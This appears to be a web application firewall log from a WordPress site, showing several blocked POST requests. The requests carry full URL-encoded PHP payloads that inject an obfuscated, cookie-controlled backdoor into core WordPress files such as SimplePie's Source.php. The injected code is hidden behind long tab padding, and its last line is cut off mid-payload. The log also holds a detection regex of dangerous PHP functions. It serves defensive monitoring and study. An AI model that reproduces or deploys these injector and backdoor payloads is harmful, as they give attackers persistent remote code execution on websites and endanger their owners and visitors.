Safari\/605.1.15\nhost:dewenlabels.com\n\ngz=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Source.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B26%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B0%255D%2528%2524k%252C%2524p%255B19%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B25%255D.%2524p%255B9%255D%2528%2524p%255B17%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:47:25","131.72.236.158","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> uo:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Source.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B26%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B0%255D%2528%2524k%252C%2524p%255B19%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B25%255D.%2524p%255B9%255D%2528%2524p%255B17%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqJ8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-length:3267\nsec-fetch-dest:document\n\nuo=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Source.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B26%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B0%255D%2528%2524k%252C%2524p%255B19%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B25%255D.%2524p%255B9%255D%2528%2524p%255B17%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:47:49","113.22.137.197","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ot:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Source.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B26%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B0%255D%2528%2524k%252C%2524p%255B19%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B25%255D.%2524p%255B9%255D%2528%2524p%255B17%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvo3DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-length:3267\nsec-fetch-dest:document\n\not=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Source.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B26%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B0%255D%2528%2524k%252C%2524p%255B19%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B25%255D.%2524p%255B9%255D%2528%2524p%255B17%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:47:59","72.167.150.128","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Source.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B26%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B0%255D%2528%2524k%252C%2524p%255B19%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B25%255D.%2524p%255B9%255D%2528%2524p%255B17%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-length:3290\nsec-fetch-dest:document\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Source.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B26%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B0%255D%2528%2524k%252C%2524p%255B19%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B25%255D.%2524p%255B9%255D%2528%2524p%255B17%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 18:48:05","78.142.18.172","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ye:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-post-types-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524pointer1%2520%253D%2520%25273%2527%253B%2524pointer2%2520%253D%2520%25277%2527%253B%2524pointer3%2520%253D%2520%25276%2527%253B%2524pointer4%2520%253D%2520%25278%2527%253B%2524pointer5%2520%253D%2520%2527c%2527%253B%2524pointer6%2520%253D%2520%2527f%2527%253B%2524pointer7%2520%253D%2520%25275%2527%253B%2524pointer8%2520%253D%2520%25270%2527%253B%2524pointer9%2520%253D%2520%25271%2527%253B%2524pointer10%2520%253D%2520%2527d%2527%253B%2524pointer11%2520%253D%2520%2527e%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524pointer1%2520.%2520%25277%2527%2520.%2520%25279%2527%2520.%2520%2524pointer2%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527d%2527%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524pointer4%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524pointer5%2520.%2520%2524pointer3%2520.%2520%2524pointer5%2520.%2520%25275%2527%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%2524pointer4%2520.%2520%25276%2527%2520.%2520%2524pointer7%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524pointer4%2520.%2520%25276%2527%2520.%2520%2524pointer7%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%2524pointer8%2520.%2520%25276%2527%2520.%2520%2524pointer9%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer4%2520.%2520%2524pointer2%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25275%2527%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%2524pointer8%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524pointer2%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2524pointer10%2520.%2520%2524pointer7%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer7%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%2524pointer1%2520.%2520%2524pointer3%2520.%2520%2524pointer6%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%2524pointer1%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%